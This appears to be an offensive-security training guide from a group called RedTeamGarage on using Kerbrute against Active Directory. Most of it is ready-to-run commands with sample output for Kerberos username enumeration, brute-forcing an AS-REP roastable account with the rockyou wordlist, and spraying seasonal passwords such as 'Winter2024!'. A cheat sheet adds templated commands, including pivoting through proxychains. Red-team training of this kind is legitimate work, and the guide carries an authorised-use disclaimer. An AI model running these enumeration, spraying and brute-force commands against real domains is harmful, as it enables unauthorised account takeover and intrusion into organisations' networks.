



◆ OFFENSIVE SECURITY SERIES ◆

KERBRUTE

Silent User Enumeration & Password Spraying via Kerberos

userenum · passwordspray · bruteuser · AS-REP · Safe Mode · No Lockout

userenum

passwordspray

bruteuser

AS-REP detect

Safe mode

No lockout

proxychains

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) for educational purposes only.
All techniques must ONLY be used on systems you own or have explicit written
authorisation to test. RTG assumes zero liability for any misuse of this material.

**TABLE OF CONTENTS**

KERBRUTE — Silent User Enumeration & Password Spraying via Kerberos

01.	KERBRUTE OVERVIEW & DOWNLOAD
02.	USER ENUMERATION + AS-REP DETECTION
03.	PASSWORD SPRAY — SAFE MODE
04.	KERBRUTE CHEAT SHEET



02 — USER ENUMERATION

Valid Users + AS-REP

```
Kerbrute - User Enumeration + AS-REP Discovery

# User enumeration - no lockout, uses AS-REQ packets
(kali)-[~]
kali $ ./kerbrute userenum --dc 10.10.10.100 -d domain.local /usr/share/seclists/Username/xato-net-10-million-usernames.txt
2024/01/15 09:30:00 > Using KDC(s):
2024/01/15 09:30:00 > 10.10.10.100:88

2024/01/15 09:30:01 > [+] VALID USERNAME: administrator@domain.local
2024/01/15 09:30:01 > [+] VALID USERNAME: guest@domain.local
2024/01/15 09:30:02 > [+] VALID USERNAME: jdoe@domain.local
2024/01/15 09:30:02 > [+] VALID USERNAME: svc_sql@domain.local
2024/01/15 09:30:03 > [+] VALID USERNAME: svc_iis@domain.local
2024/01/15 09:30:03 > [+] VALID USERNAME: helpdesk@domain.local
2024/01/15 09:30:03 > [+] AS-REP roastable! backupuser@domain.local

2024/01/15 09:30:15 > Done! Tested 1000 usernames (7 valid) in 15.234 seconds

# backupuser has no pre-auth - immediately roast it!
(kali)-[~]
kali $ ./kerbrute bruteuser --dc 10.10.10.100 -d domain.local backupuser /usr/share/wordlists/rockyou.txt
2024/01/15 09:31:00 > [+] VALID LOGIN: backupuser@domain.local:Backup2024!
```

Figure: 7 valid users found, backupuser flagged AS-REP roastable, immediately bruteforced



03 — PASSWORD SPRAY

Safe Mode Spraying

```

Kerbrute – Password Spray with Safe Mode

# Password spray – SAFE mode respects lockout threshold
(kali)-[~]
kali $ ./kerbrute passwordspray --dc 10.10.10.100 -d domain.local valid_users.txt Winter2024!
2024/01/15 09:45:00 > Using KDC(s):
2024/01/15 09:45:00 > 10.10.10.100:88

2024/01/15 09:45:01 > [+] VALID LOGIN WITH ERROR: jdoe@domain.local:Winter2024! (Clock skew too great)
2024/01/15 09:45:01 > [-] helpdesk@domain.local:Winter2024!
2024/01/15 09:45:01 > [-] svc_sql@domain.local:Winter2024!
2024/01/15 09:45:02 > [+] VALID LOGIN: svc_iis@domain.local:Winter2024!
2024/01/15 09:45:02 > [-] administrator@domain.local:Winter2024!

2024/01/15 09:45:02 > Done! Tested 5 logins (1 valid) in 2.345 seconds

# Spray with --safe (stops if 1 account locked out)
(kali)-[~]
kali $ ./kerbrute passwordspray --dc 10.10.10.100 -d domain.local users.txt Spring2024! --safe
2024/01/15 10:00:01 > [+] VALID LOGIN: jdoe@domain.local:Spring2024!
  
```

Figure: Spray finds svc_iis:Winter2024! and jdoe:Spring2024! — service account password confirmed



04 — KERBRUTE CHEAT SHEET

Quick Reference

Download	<code>wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O kerbrute && chmod +x kerbrute</code>
User enumeration	<code>./kerbrute userenum --dc DC_IP -d DOMAIN userlist.txt</code>
Password spray	<code>./kerbrute passwordspray --dc DC_IP -d DOMAIN users.txt Password1!</code>
Safe spray	<code>./kerbrute passwordspray --dc DC_IP -d DOMAIN users.txt Pass --safe</code>
Brute single user	<code>./kerbrute bruteuser --dc DC_IP -d DOMAIN username rockyou.txt</code>
Find AS-REP roatable	Look for [+] AS-REP roatable! in userenum output
Output valid users	<code>./kerbrute userenum ... -o valid_users.txt</code>
Through pivot	<code>proxychains ./kerbrute userenum --dc INTERNAL_DC -d DOMAIN users.txt</code>
Check lockout first	<code>net accounts /domain</code> OR <code>Get-ADDefaultDomainPasswordPolicy</code>
Username lists	<code>/usr/share/seclists/Username/</code> or generate from OSINT
Log results	<code>--log-file kerbrute.log</code> to save all output



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.